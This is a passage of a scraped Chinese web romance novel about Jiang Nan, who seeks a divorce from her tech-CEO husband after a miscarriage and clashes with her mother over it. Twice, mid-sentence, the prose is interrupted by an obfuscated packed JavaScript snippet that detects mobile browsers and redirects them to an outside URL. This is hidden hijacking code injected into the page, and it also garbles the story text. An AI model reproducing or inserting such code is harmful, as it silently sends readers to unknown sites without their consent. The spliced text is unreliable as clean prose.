他根据昨天的记忆,来到病房外,门缝里透出灯光,他顺手推开门。 “老婆,舒服点没有?”一个男人坐在床边的椅子上,正在给床上的人按摩小腿。 蒋弈行怔了下,往床头一看,并不是姜南。 他往门外退了一步,环视走廊,昨天来的是这间病房没错。 男人扭过头,看到站在门外的蒋弈行。 两人四目相对,男人莫名的问:“您哪位?” “不好意思,我可能走错了。”蒋弈行道。 正巧有护士路过,蒋弈行问:“请问姜南的病房在哪里?” 值班的护士长眼神疑惑,将他上下看了看。 这一层都是妇产科的病人,一个男人深夜到访,身上还带着酒气,就算长相帅气,气质不俗,但总归透着一股怪异。 “你是她什么人?” “我是她丈夫,昨天才来过,她是不是换病房了?” “……我去护士台看看。” 护士长带着蒋弈行离去,距离越近,酒味越浓。 她忍不住开口提醒:“您身上酒味太浓了,会影响您太太。” 蒋弈行:“……” “这么晚过来,说不定她已经休息了,你这不是打扰她吗?” 蒋弈行客气的应了一句,“是我疏忽了。” 正说着,一个年轻男人抱着啼哭不止的婴儿走出来,轻轻拍着包被,又哄又摇,“乖宝,别哭了,妈妈还要休息……乖宝,乖啊……” 蒋弈行目光扫过,眼底有一瞬间的刺痛。 护士长意味深长的说了一句,“基本都是配偶陪床。” 蒋弈行双手抄进大衣口袋里,面沉如水,没有作声。 护士长来到电脑前查阅系统,不多时抬起头,简短道:“六号床姜南,在今天傍晚六点半办理了出院。” “……”蒋弈行怔了下,随即道:“谢谢。” 蒋弈行站在医院大楼外,深夜冷风迎面扑来,一股萧索的寒气,从敞开的大衣,透过毛衣缝隙往里钻,直到寒意如附骨之疽,他才回过神般将大衣拢了拢。 他走入一家便利店,给自己买了一包烟和一支打火机。 一声轻响,火苗窜起,他偏过头将烟点燃。 用力深吸一口,尼古丁的味道骤然入肺,令他咳嗽了两声。上次抽烟还是两年前,从打算备孕开始,他就戒烟了。 在缭绕的烟雾中,曾经对这个孩子的期盼,浮上心头。 他是家中独子,这些年父母逐一离去,他在这世上没有直系血缘亲人了。他比姜南更渴望拥有一个孩子,拥有与自己血脉相连的人。 一支烟抽完,蒋弈行将烟头掐灭扔进垃圾桶,拿出手机给姜南打电话。 “嘟……嘟……嘟……” 拉长的铃声,一声接一声。 “对不起,您所拨打的电话无人接听,请稍后再拨……” 6.006 次日,蒋弈行被闹钟叫醒,缓缓坐起身。 他抬起手,揉了揉胀痛的脑袋,不知道是昨晚喝多了还是后半夜噩梦不断,脑子昏昏沉沉的痛。习惯性往一旁看去,榻边空荡,紧蹙的眉头压的更深了。 蒋弈行起床前往二楼健身室,慢跑三十分钟,随着身体逐渐出汗,脑子越来越清醒。下了跑步机,开始做卧推,从五十公斤逐渐增加到一百公斤,直到身体彻底暴汗,把自己压榨到极限。 在老婆怀孕的这些日子,他都是靠高强度运动来挥霍精力,压抑欲望。 男人离开健身室时,身上块垒分明的肌肉,每一块都浸着汗水。他下楼走入卧室,去浴室冲澡。 浑身清爽的走出浴室,却没有在衣帽间的挂衣架上,看到为他准备的衣物。 以往姜南都会把他要换的一整套衣服,由内到外,逐一挂好。尤其是衬衣和西裤,熨烫平整,裤线笔直,没有一丝褶皱。 蒋弈行只能自己打开衣柜去找衣服,连开几扇柜门,总算凑了一整套。 开车前往公司的路上,蒋弈行终于拨通了姜南的电话。 蒋弈行:“出院怎么不告诉我?” 车载音响里传出姜南温淡的声音,“蒋总日理万机,这点小事不劳您费心。” 蒋弈行被噎了下,沉默几秒后,转而劝道:“姜南,人要往前看,你别陷在泥潭里出不来。” “请问离婚协议您审阅完毕了吗?”姜南问。 蒋弈行腾出一只手,按住突突直跳的太阳穴,沉声道:“你有什么要求,直接提出来,不用打离婚这张牌。” 姜南低笑一声,“蒋总说笑了,我不打牌。” 顿了顿,道:“我要下桌。” 蒋弈行生硬的转移话题:“刘橙办事不利,导致你发生车祸,我同样会追究她的责任。” 姜南:“没必要为难一个打工人。这事跟她没关系。” “她是司机,怎么跟她没关系?” “当时的情况,就算是我自己开车,也难以避免。”姜南实事求是道。 “那跟我有什么关系?”蒋弈行往右打方向盘,变更车道,反问,“我是你的丈夫,就对我施加压力,转移责任?” “你要这么想,我也没办法。”姜南淡道,“劳烦蒋总尽快签字离婚。” 蒋弈行刚要说话,通话被猝然挂断。 “嘟…嘟…嘟…”的急促忙音传来。 姜南放下手机,搁在一旁,继续喝粥。 姜菀葶坐在她对面,一起吃早餐。为了照顾姐姐,她破天荒早起,去厨房煮了杂粮粥,又蒸了两个白水蛋。 吃过早餐,姜南道:“我等会儿去那边一趟,把东西收拾出来。” “我陪你一起过去。”姜菀葶马上说,“你放心,我昨晚存稿了。” 她知道姐姐这段时间情况特殊,她熬更守夜的码字,就是想把白天的时间腾出来。 姜菀葶去过姐姐家很多次,熟门熟路,开车都不需要导航。 进了家门,姜南前往衣帽间,正要踮起脚取行李箱,姜菀葶赶忙道:“我来我来!” 她把姜南拉到一旁,取下行李箱,说:“你要什么,跟我讲,我来收拾。你坐小月子,别操劳了。” “哪有这么娇弱。” “哎呀我不管,你去坐嘛!” 姜菀葶把姜南拉到一旁的沙发凳坐下,“你负责动嘴皮子,出力的事我来干。” 姜南道:“就在这衣帽间里,收拾一些换洗衣服就行了。” 姜菀葶在姜南的指挥下,往行李箱里装衣服。 再次一览姐姐衣柜,姜菀葶忍不住感慨,“哪像富太太的衣柜嘛。” 奢侈品是没有的,就连花枝招展的衣服都没看到一件,全是黑白灰的色系,款式简洁利落,散发出的浓浓班味儿,都快熏死她了。 “姐,你都快三年没上班了,怎么还是这么班味儿?”姜菀葶忍不住问。 “一个已婚女性,不在外面上班,就得在家里上班。”姜南说着,走上前将一件灰色大衣重新放回到衣柜里,这是蒋弈行挑的,她不想带走。 姜菀葶疑惑的看她,“啊?” “不是为老板打工,就是为老公打工。” 姜菀葶胸口一梗,“可是……” “天底下可没有免费的午餐。”姜南耸肩。 姜菀葶将箱子装满后,啪嗒一声扣上,立起来,推出衣帽间。 两人站在客厅,姜菀葶四下环视,“姐,你看看,还有什么要带走的吗?” 这房子比不上大别墅阔绰,但是比起一般的商品房还是很宽敞,四下布局智能简约,更显大气。 “如果蒋弈行连这个房子都不肯给你,我诅咒他一辈子阳痿!”姜菀葶用最恶毒的语气道。 恰在她说话时,大门一声轻响,蒋弈行站在了门边。 他与客厅里的姐妹两,视线毫无阻碍的交汇。 姜菀葶那句话也一字不落的传到他耳里。 姜菀葶心里一个咯噔,在男人锋芒毕现的目光中,心虚的垂下眼,默默的,往姐姐身后挪了挪。而后又偷偷抬头,瞄了蒋弈行一眼。 蒋弈行身高一米九,立如苍松,透出不可忽视的力量感。 当他不说话时,周身散发出的气息,斥满上位者的压迫感。 姜菀葶有点懊恼自己大嘴巴,又不知道怎么收场,只有像个小鹌鹑一样缩起来,降低自己的存在感。 姜南看着蒋弈行,坦坦荡荡的说:“我来收拾东西就走。” 她倒是没想到他会在这个时候突然出现,按理说他现在应该在公司,繁忙的处理公务。 蒋弈行步入室内,皮鞋踩在大理石地面上,发出清脆声响。 目光扫过行李箱,又回到姜南脸上。他也没想到,他折返回来拿份资料,居然跟她们撞个正着。 蒋弈行索性坐在了沙发上,抬手招呼:“我们聊聊。” 姜南没有上前,也没有坐下,开口道:“只要蒋总大度些,把这套房子让出来,咱们可以和平离婚。” 蒋弈行身体往后靠,胳膊搭在沙发靠背上,抬眼看她,“姜南,我要不要带你再去医院检查一下?” 姜南:“?” 男人抬起一只手,点了点自己的太阳穴,“你是不是发生车祸,撞坏脑子了?” 姜菀葶:“??” 姜南:“不劳蒋总费心,除了刚失去一个胎儿,我一切都好。” 蒋弈行起身,朝姜南走去,直到在她跟前站定,一瞬不瞬的看着她道:“为了这个孩子,我改变生活方式,早睡早起,禁烟禁酒禁欲,备孕时什么能吃什么不能吃,严格遵照医生列的清单。我能做的都做了,现在孩子没了,你就对我发疯吗?” “结婚三年,我亏待你了?我的工资卡在你手里,我的行程安排,每一份都让秘书发到你邮箱里。作为丈夫,我问心无愧,你到底还有什么不满意?” 姜菀葶:“……” 虽然她不知道怎么反驳蒋弈行的话,可她就是很生气怎么办? 劈头盖脸的训斥,简直令人窒息! 蒋弈行逼近姜南,音色沉肃:“失去孩子,我跟你一样难过。可是人不能沉溺在伤痛中,日子还要过下去。我的工作压力很大,没精力陪你消耗在无法改变的事情上。你能不能像个成年人一样,冷静面对人生变故。” 姜菀葶不知道哪里来的勇气,原本缩在姜南身后的她,站到了姜南前面,挡在两人之间。 这么近的距离,姜菀葶仰起头,才能直视蒋弈行。她气得涨红了脸,大声回道:“你工作压力大,就是你回家摆谱的理由吗?你忙,就是你忽略老婆的理由吗?你陪我姐产检过几次?每次都是我陪的!你戒烟戒酒好不得了,每天往肚皮上打针的是我姐!失去孩子做手术伤身体的也是她!你除了一哆嗦,还付出了什么?凭什么在这里高高在上!” 蒋弈行的目光越过姜菀葶,连眼神都不给她,看向姜南,“能不能让你妹妹回避,我们单独聊。” 姜南没有做声。 “我们的家务事,你要交给你妹妹来评判吗?” 姜南扶上姜菀葶肩膀,低声道: “你去外面等我。” 她要顺利的和平的离婚,不想跟蒋弈行闹的太僵。 “姐……” “去吧。” 姜菀葶离开时,将箱子一并推走,在大门外的电梯间等待。 她被气的七窍冒烟,满脑子只有一个字,离!这破婚,谁结谁抑郁! 客厅内,姜南平静的看着蒋弈行,说:“你就当想离婚,是我的问题。我就是不想这么过下去了。希望我们能好聚好散。” 蒋弈行拉起姜南的手,上前一步,将她拥入怀中,抱住。 姜南怔了下。 蒋弈行轻抚她的发丝,低声道:“我知道你受苦了。无论怀孕还是流产,你都是最受罪的人。可能宝宝觉得我们还没有准备好,所以走了。下一次,他还会回来。” 姜南以为自己已经度过了至暗时刻,心如止水。 可是被蒋弈行抱在怀里,听着他的话,眼泪就像决堤一般滚落。 蒋弈行胸口衣襟被沾湿,他扶起姜南的脑袋,抬手替她擦泪。可是她的眼泪越掉越多,根本擦不完。 男人手掌托着她的脸庞,低下头,轻轻吻上她的唇。 他慢慢触碰她被泪水浸湿的唇瓣,一下一下的轻吮。 她没有动,没有抗拒,也没有迎合。 四片唇瓣辗转相濡许久,他捏住她的后颈,稍稍用力,探入她口中。 姜南闭了闭眼,还是没有推开他。 这是他第一次在不做的时候吻她。那么轻柔的吻,没有急于疏解的欲望,没有迫不及待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485856|169876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的索取。像一阵轻风,像一场细雨,像有一只无形的手,温柔抚过她内心创口。 她知道他在安慰她。 明明想要跟他离婚,却不讨厌他这么温柔缠绵的慰藉。 因为她从来没有得到过。 蒋弈行将姜南纤薄的身体箍在胸膛中,捧着她的脸庞,反反复复的吻她。 她没有丝毫抗拒,他的吻逐渐加深,辗转反复。失去孩子的苦闷,也在这唇齿相依,舌尖纠缠中,不断淡化。 只要这个家还在,孩子可以再要。 电梯间,姜菀葶等了许久,不见姜南出来。 大门还半敞着,里面也没传出什么动静,难道两人在干瞪眼吗? 她拿出手机,又看了一次,半个多小时了。 实在忍不了,姜菀葶走回到大门边,往厅内看去。 “……!!” 她看到了什么?? 这两人居然在餐桌旁接吻?!! 室内,姜南彻底放逐自己的感官,任由蒋弈行亲吻。 两人从客厅吻到了餐厅,蒋弈行将她抱到餐桌边沿坐着,消除身高差距后,他吻的更缱绻更深入。 “抱住我。”换气时,他吮着她的唇瓣,哑声道。 姜南没抱。他拉起她的手,环上自己后背,再次按住她的脑袋,偏过头探入她口中勾缠。 姜菀葶目睹这一幕,心中一万个卧槽,红着脸迅速回到电梯间。 她不知道该怎么办,只能坐在电梯间的软凳上打游戏消磨时间。 ……等那两人吻够了,总能想起来还有人在。 当蒋弈行终于放开姜南时,两人的唇瓣都红的饱满欲滴。 蒋弈行揉了下她的脑袋,道:“最近情绪不好的话,跟妹妹出去旅游,散散心吧。” “嗯。”姜南点头,“不过,出发前,我得把正事办了。” “什么事?”蒋弈行问。 “离婚。”姜南平静吐出这两个字。 “?” 蒋弈行以为自己听错了。 明明接吻时还那么温顺。 两人吻了那么久,他以为已经雨过天晴了…… 蒋弈行像是看什么自己理解不了的生物一样看着姜南。平日里他习惯的乖巧模样,如今在提离婚时还这样,只让他觉得不可理喻。 半晌,蒋弈行质问:“你到底什么意思?” 姜南站直身,“我说了,离婚。希望你尽快签字。” 姜南转身离去,头也不回的迈出大门。 蒋弈行站立原地,有那么一瞬间,他觉得自己被耍了。 …… 姜南离去后,房子彻底恢复寂静。 蒋弈行仰靠在沙发上,抬手揉着头痛欲裂的脑门。 片刻后,他拿起手机,在通讯录里找到姜南爸爸姜建业的号码,拨通。 “喂,弈行啊!”姜建业粗犷的嗓音,堆满笑意。 转瞬,笑意压了下来,叹气,安慰道:“孩子的事,你别放在心上,你和南南都还年轻,以后有的是机会。” 那晚两口子在手术室外没看到蒋弈行,心里七上八下的打鼓。回家后,一商量一琢磨,愈发觉得蒋弈行是心怀不满才没赶去医院。 他们还想着过几天,阴影淡去后把蒋弈行请到家中吃饭,好好安抚一番。 没想到,蒋弈行的电话率先打过来了。 “我也是这么想的,不过姜南好像想不通。” “什么?”姜建业不解的问,“她想不通什么?” “她从家里搬出去了,在跟我闹离婚。 ” “这!这是干什么!”姜建业心中一悚,赶忙道,“她一定是太伤心,脑子糊涂了,跟你瞎闹呢!你别跟她一般见识,我们做父母的会好好说她。” “你们结婚这些年,南南可是全心全意的为小家付出。她有多在乎你,我们做父母都看在眼里。弈行,现在是南南最痛苦最难过的时候,是她人生的关卡,你一定要耐心陪她度过。你是他的丈夫,是她唯一能指望的人。” 蒋弈行胸臆间堵着的那股郁气被疏散些许,回道:“我没问题,只要她别闹了。” 姜建业松了一口气,说:“你放心,我们会好好劝她。夫妻俩哪有不闹矛盾的,床头打架床尾和嘛。再恩爱的夫妻都闹过。” 挂电话后,凑到姜建业身旁的郭丽蓉,赶忙追问:“怎么了?女婿要离婚?” “不是。”姜建业说,“我就说他不是那种没良心的人,现在是你女儿失心疯,在跟人闹离婚。 ” 郭丽蓉大惊失色,“……怎么可能?她为什么要离婚?” “这得问你的好女儿了!弈行说她搬出去了,你赶紧给她打电话,让她回家。” 郭丽蓉一边打电话,一边难以置信的揣测:“她为什么要离婚?难道是蒋弈行在外头有不干不净的女人,被她发现了?” 7.007 郭丽蓉太清楚自己这大女儿的性格,老实本分,善良贤惠,对蒋弈行死心塌地的好,一点私心都没有。 即便蒋弈行的事业越来越好,名声越来越大,她也没担心过两口子婚变。不都说越是有头有脸家大业大的男人,越是需要忠贞不二贤惠顾家的老婆。 电话接通后,郭丽蓉一连串的发问:“你在哪儿啊?跟弈行闹矛盾了吗?怎么不回家?” 姜南道:“我在菀葶这边。” “今天给你炖只鸡补一补,你们俩都回来吃啊。昨天特地让你爸开车去老家拿的土鸡,今天现杀给你们吃。” “……好。”姜南应声。 郭丽蓉心头一酸:“女儿啊,人生没什么过不去的坎儿,别为难自己。” 车内,姜菀葶坐在驾驶位上开车,姜南半靠在副驾驶位置上。 姜南开的免提,通话内容姜菀葶听的一清二楚。 挂断后,姜菀葶问:“你不怕回家被他们唠叨啊?” “躲得了和尚躲不了庙,总得交代一下。”姜南道。 “那你就左耳进右耳出,别把他们的话放心上。”姜菀葶拍了拍胸脯,“放心,关键时刻我一定帮你顶上。” 姜菀葶在电梯间看到姐姐跟蒋弈行接吻时,还觉得这次离婚风波已经画下了休止符。 没想到她一把游戏打完,就见姐姐走了出来,毫不留恋的跟她一起走了。 姜菀葶不太确定的问:“不过,你到底这么想的啊?还离不离?” “离。” “那你还……”姜菀葶清了清嗓子,有点难为情的说,“还跟他KISS哟。” “接吻而已。”姜南云淡风轻道,“他长得帅,技术好,我又不吃亏。” 姜菀葶一脸震惊,消化半晌,怔怔点头:“说的对。” 虽然她难以理解,为什么闹离婚时,会突然接吻。 还吻了那么那么久…… 反正,姐姐说什么就是什么! 姐妹俩回到家后,姜菀葶发现自己低估了这顿饭的凶险程度。 从那只鸡上桌后,爸妈你一句我一句,嘴巴就没停过。 姜南埋头沉默吃饭,郭丽蓉夹了一只鸡腿放到姜南碗里,“粮食喂养的跑地老母鸡,听说你身体不好,你奶才舍得给你爸带回来。对了,这次流产,我跟你爸谁也没说,你也别往外说,就当没怀过。等身体养好了,咱们重新来过。” 姜南夹起鸡腿,咬了一口,却是半晌没咽下去,嗓子眼像被什么给堵住了一般。 郭丽蓉道,“你现在最紧要的是养好身体。下个月就过年了,到时候你跟弈行出去旅游,散散心。” 姜菀葶啧了一声,“旅游,好小众的词,他可从来没跟姐姐一起去旅游过。” 姜建业横她一眼,抑扬顿挫的反击:”哪里没去过!两人今年不是还去了北京,又去了上海!” 姜菀葶耸肩,“哦,如果出差随行算旅游,那就勉强算有过吧。” 姜南啃不动鸡腿,索性一口一口的嚼着白米饭,没什么味道,但好下咽。 “总吃饭干什么,多吃菜,多吃肉,才有营养。”郭丽蓉又夹了一块牛肉到姜南碗里,混着番茄汁的牛腩肉,炖的软烂入味。 “吃不下。”姜南低道,又补了一句,“可能手术影响,没胃口。” “那晚上给你弄清淡点。”郭丽蓉转而对姜菀葶说,“你也多吃点,天天熬夜码字看着都气色不好,钱是挣不完的,要注意身体。” 吃过饭,郭丽蓉带着姜南去房间里聊天。姜建业收拾餐桌。 姜菀葶靠在客厅沙发上,一边玩手机游戏,一边留心房间里的动静。 房内,郭丽蓉盯着姜南的脸,低声问道:“你老实说,是不是蒋弈行在外头有人了?” 姜南沉默着,不知道从何说起。 蒋弈行跟他的初恋白月光一起从国外回来,第一晚就喝到一起住酒店,接着马不停蹄的开展合作。生日当天,对她失约,跟白月光一起欢度。她在医院做清宫手术时,他跟白月光在众人簇拥中碰杯,两人还佩戴情侣款智能表…… 她并没有蒋弈行出轨的证据。 但是这一桩桩一件件,无不透露出,白月光在他心中举足轻重的地位。 更是在提醒她,她这七年时间,陪他走了那么长的路,都没有走进他心里。 当她躺在病床上,看着朋友圈里的蒋弈行,突然就丧失了维持这段婚姻的所有力气。 郭丽蓉见姜南恍惚出神的模样,心想八九不离十就是蒋弈行出状况了。 郭丽蓉心中愤然,却还是按捺住情绪,没有数落半句蒋弈行的不是。她抓着姜南的手,低声道:“听妈一句劝,只要他愿意回家,日子还是得继续过下去。这年头有本事的男人,没几个干净老实的。你现在最要紧的是生孩子,有了孩子,这个家就稳固了。他赚得再多,都是给你和孩子打工。” 姜南回过神,摇了摇头,“孩子不是我牟利的工具。我不想把孩子带到一个没有爱的家庭。” 郭丽蓉拍了下她的手背,“谁说没有爱!蒋弈行怎么可能不爱他的孩子!只要你别去纠结什么爱不爱的,这日子好过的很!” “……”姜南觉得格外讽刺,荒诞到她扯动唇角,讥笑了下。 “听妈的没错,妈不会害你。”郭丽蓉再次劝道,“今晚先待在这边,明天我让蒋弈行来接你回去。” “我已经决定了,”姜南语气平缓,但眼神格外坚定,“我要离婚。” 郭丽蓉见她这副油盐不进的模样,坐都坐不住了,起身斥道:“当初谈婚论嫁的时候,他没房没车,彩礼都没有,就一个重病的老娘,我不同意,你背着我就去把证领了!结婚不到半年,连工作都没了!我跟你说过,手心朝上的日子不好过,工作不能丢,你呢,说丢就丢了!现在好不容易熬出头,你又要闹离婚!你这辈子,到底能不能听你妈一次话?” 姜南垂下眼,身影安静瘦削。 “翻年你就满三十了!你看看你自己,青春没了,工作没了,身体不好,要个娃千难万难!你要是连婚姻都守不住,你还有什么?离婚是一时痛快,离婚后的路怎么走,人生要面临什么困难,你想清楚了吗?骨气能当饭吃吗?” “……”姜南怔怔的听着,一言不发。 她在母亲的质问中,同样反问自己,怎么就变成这样了? “这笑贫不笑娼的社会,谁管你家里破事,只要你是蒋弈行老婆,在外人眼里你就是风光无限的富太太。” “妈!你够了啊!”姜菀葶的话突兀的插进来,她靠在门框上往房里看,一脸嫌弃,“你就跟那逼良为娼的老鸨一样!” “你给我闭嘴!你还没经历过社会毒打,你懂什么!”郭丽蓉白她一眼,“你要是真为你姐着想,就好好劝劝她。离婚除了争口气,什么都争不到。” “你们做家长的不要那么势力好吗?多关心下子女的身心健康。骨气是不能当饭吃,面子也不能当饭吃啊。就靠富太太的虚荣撑着,过丧偶式婚姻,浑身长结节,英年早衰吗!” 郭丽蓉被气的呼吸都不顺了,她抬手指着姜菀葶说:“一旦你姐离婚了,没有蒋弈行小姨子的光环,你看徐思睿还会不会对你那么服帖!就你,又懒又馋,整天呆在家日夜颠倒的码字,连个正经工作都没有,人家父母能不能看上你都不一定!” 姜菀葶脑袋嗡的一下,脸上瞬间充血般气的涨红。 郭丽蓉嘴巴还没停下,“徐家好歹书香门第!爸妈都是体制内,他自己又是高材生,长得眉清目秀,有房有车的本地人!要不是你姐夫牵线搭桥,人家能看上你?自己几斤几两,心里没点数吗?” 姜菀葶刚要还嘴,姜南豁然起身道:“妈!你不要这么贬低葶葶!离不离婚是我自己的事,你迁怒她干什么!” 郭丽蓉愣了下,没想到刚才还一声不吭的老大,突然就炸了。 但她嘴硬道:“我又没说错,是她在那儿拱火……” “葶葶有才华,有理想,长得漂亮,性子直爽可爱,她哪里配不上徐思睿了?她的收入比大多数上班族都高,领了稿费就给你们买礼物,这么优秀的女儿,你还有什么不满意的?” 姜菀葶原本像个炸毛的狮子,差点把手机都摔了,在姜南对郭丽蓉一顿输出后,她的攻击力都化为了委屈,红着眼眶,接口道:“就是!我没嫌你不努力,没让我成为富二代,你一天到晚嫌我这也不是那也不是!你当初怎么不把我打掉?” 郭丽蓉被姐妹俩联合攻击,心态崩溃,开始抹泪,“行行行,我白养你们这么大是不是……我含辛茹苦把你们三个拉扯大,没有一个听话的,全都是白眼狼……我这辈子活着还有什么意思……” 姜菀葶不仅没有低头,反而火上浇油的说:“你为什么生三个,自己心里没点数吗?你不就是为了追儿子!要不是小旭是儿子,你还得生第四个!” “行了!”姜建业出声喝止,把姜菀葶往客厅拉,“你妈年纪大了,别总跟她吵吵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493188|169876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪天一口气顺不过来,你就没妈了。” 姜南起身走出房外,对姜建业道:“你去安慰妈妈吧,我下午预约了中医,时间快到了,这号很难挂。” “去吧,去吧。”姜建业摆摆手。 姜南拉起姜菀葶的手离去。 姐妹两跟一阵风似的出了家门。 伴着关门的声音,姜菀葶觉得整个世界都清静了。 姜南道:“你别把妈妈说的话放心上,她是为了给我施加压力才口不择言。” “我才不会呢。”电梯门开启,姜菀葶挽着姜南的手臂走入,“你想离就离,我跟思睿是真爱,不像她说的那么肤浅。” 她轻哼一声,脸上三分羞涩三分傲娇道:“我还没嫌他不够高,不够帅,不会讨我欢心呢。” 当晚,姜南在姜菀葶这边休息时,又接到郭丽蓉的电话。 她忍着头痛欲裂,听郭丽蓉劝了很久,几番岔开话题又被她拉了回来。 姜菀葶写完连载文,回到客厅一看,姐姐居然还坐在沙发上通话,连坐姿都没变。 她忍无可忍的接过手机,对听筒那端道:“这么晚了,姐姐需要休息,挂了。” 挂断后,姜菀葶给姜南倒了一杯水,感叹道:“你可真能忍,难怪能跟蒋弈行过这么久。” 姜南慢慢喝下一口水。 “要不你再考虑考虑?”姜菀葶道。 虽然她看不惯蒋弈行,但这毕竟是姐姐的婚姻大事,她也不能一昧拱火。 “不考虑了。”姜南放下杯子,舔了舔仍然发干的唇瓣,又重复一遍,“真的不考虑了。” …… 次日,姜南亲自前往创行科技。 她不想再拖下去了,尽早抽身,尽早解脱。 创行科技总部坐落在城市北边的科技园区里。园区里有诸多企业,创行科技是其中名气最大,但最低调质朴的公司,位于角落位置的一栋独立办公楼,还是一家倒闭的互联网企业腾出来的地方,内部也没有诸多装饰,更加接近工业风。 姜南近半年没有来过了,再次迈入大楼,有种恍如隔世感。 创行科技如今炙手可热,姜南走入大门,就看到一行又一行人被拦在外面。有的人悻悻而归,有的人站在公司外的休息区,来回踱步打电话,试图找关系入内。 申州十二月凛冽的寒风,也挡不住这些人想要深入创行科技的高涨情绪。 姜南入内,穿制服的年轻保安例行公事的询问:“您找哪位?” 姜南道:“我找蒋弈行。” 对方露出一个果然如此的眼神,“有预约的话,让蒋总秘书下来接你。没有预约,谢绝入内。” 姜南:“……” 如今安保严格程度,既令她讶异,又算意料之中。 姜南无奈,拿出手机,在通讯录里寻找蒋弈行秘书的电话。 刚要拨打,戴着工牌的徐思睿走出闸机,看到姜南,大步上前,热情招呼道:“南姐!” 姜南微笑点头。 “南姐,你是来找蒋总的吗?” “嗯。” 徐思睿一看旁边拦路的保安,解释道:“最近来访的人太多了,公司加强了门禁管理。我带你上去。“ 保安见徐思睿把姜南往闸机那边带,跟上前道:“非公司员工入内,需要登记。” 徐思睿不悦道:“你新来的吗?这是蒋总的太太。” 保安愣住,马上九十度鞠躬道歉:“对不起对不起……我才入职三个月,不知道您是蒋太太……” 一旁休息区的人,听到这话,争先恐后上前,“蒋太太,您是蒋弈行的太太吗?” “蒋太太,能跟您聊几句吗?” “创行顺利上市的话,蒋弈行身价会暴涨,作为蒋太太,您有什么想法?” “蒋太太,这是我的名片……” 保安拦住奔来的人流,徐思睿快速带姜南过了闸机。 两人走到电梯前,徐思睿松了一口气,“是我大意了。” 姜南若有所思:“创行要上市了吗?” 徐思睿不太确定道,“有这个风声,还没有明确的动作,具体只有高层知道,外面倒是传的满城风雨。” “所以这么多人守在这里?” “可不是,谁不想搭上这班快车。” 电梯抵达一楼,姜南对徐思睿道:“你忙你的,我自己上去找他。” “好的,有事随时联系我啊南姐。”徐思睿爽快应声。 8.008 姜南来到二十八楼,这里是顶复结构,高层办公室在上层,行政、财务、人事等后勤部门在下层。 二十八楼有独立的前台,前台员工看到姜南,一瞬讶异后,很快笑着鞠躬打招呼:“南姐。” 姜南微笑,迈步走过。 等到姜南走远,另一位前台人员低声问:“这是谁啊?” 见同事神色恭敬,又问,“哪位领导来视察吗?” 这位女士穿着一件长款驼色大衣,内搭浅灰色毛衣,步履从容,落落大方,面容和气质一样沉静素雅,黑色长发用同色鲨鱼夹绾起,白皙秀气的脸上戴了一副黑色细边框眼镜。 确实,还蛮像那种知性低调的女领导风格。 “不过看起来很年轻啊。”她一细想,又否认:“哪有领导一个人来的,不都是前呼后拥跟着一群人吗?” 身旁的同事低声道:“说领导也没错,她是蒋总的太太。” “……啊?”她愣了愣,半晌憋出一句,“那还真是跟想象中的不一样。” “怎么不一样?” “没没没……”她连连摇头。 总裁的太太,岂容她评头论足。 姜南前往总裁办公室的路上,不时有熟面孔出现,惊讶又热情的跟姜南打招呼。 蒋弈行的助理彭霖杉正在跟人力资源总监谈话,余光看到姜南的身影由办公室外走过,不太确定,又多看一眼。 还真是! 他赶忙追上去,唤道:“南姐!” 姜南顿住步。 彭霖杉笑问:“南姐,您是来找蒋总的吗?” 姜南颔首。 “哎呀不巧,蒋总正在开会。” “那我去办公室等他。” 彭霖杉为姜南推开总裁办公室的大门,又给她倒上一杯热茶,“要不我去会议室那边,跟蒋总说一声?” “不用。”姜南道,“我可以等他。你忙你的吧。” 彭霖杉离开后,姜南独自坐在沙发上,打量着这间很久没有走进来的办公室。 这已经是搬迁过一次的地方,最开始的公司地址在大学城那边,由一家闭店的车行改造而成。前面是办公的地方,后面都是实验室。公司一共不到二十个人,除了蒋亦行带领的核心技术团队,其他就是一个顶三个用的后勤人员。 那时候蒋亦行没有独立办公室,办公区拉通的开放式设计,使她从一堆财务数据中抬头,目光总能找到他。无论多枯燥疲惫的状态,在看到他的瞬间,总是轻易被治愈,心里泛起不为人知的快活。 两年后,公司获得一笔大额融资,规模不断扩张,场地不够用了,便搬来这个园区。直到这时,他才有了独立办公室。 办公室面积宽敞,风格简约到几乎看不到个人色彩。除了靠窗处的一座实木架,上面分层摆放着诸多绿植盆栽,为室内增添生机。 这是姜南当初为他布置的,一直沿用了下来。 半个小时后,开门声响起,姜南转头看,是助理彭霖杉送来咖啡和点心。 “那边还没散会,”彭霖杉再次道, “要不我去告知蒋总?” “没关系。”姜南淡道,“我可以等。” “那散会了我第一时间知会蒋总。”彭霖杉道。 他不是真想去打断蒋弈行的会议,去了还得顶着巨大的压力。他只是在为蒋太太提供情绪价值,表明自己对她持续等待的情况很重视。 果然,这位蒋太太很有定力,不愧是站在大佬背后的女人。 办公室再次恢复安静。姜南一边在手机上翻看离婚谈判经验贴,一边耐心等待蒋弈行。大抵是习惯了这种等待,她没觉得任何不妥和怠慢。 办公室的门再次被推开时,伴着一道耳熟的声音,“你们蒋总呢?” 姜南抬眼,周言熙讶异挑眉,“你怎么在这儿? ” 跟进来的彭林杉,抬手抹了一把额头上并不存在的虚汗,回道:“蒋太太也是来找蒋总的。不过蒋总正在开会。” 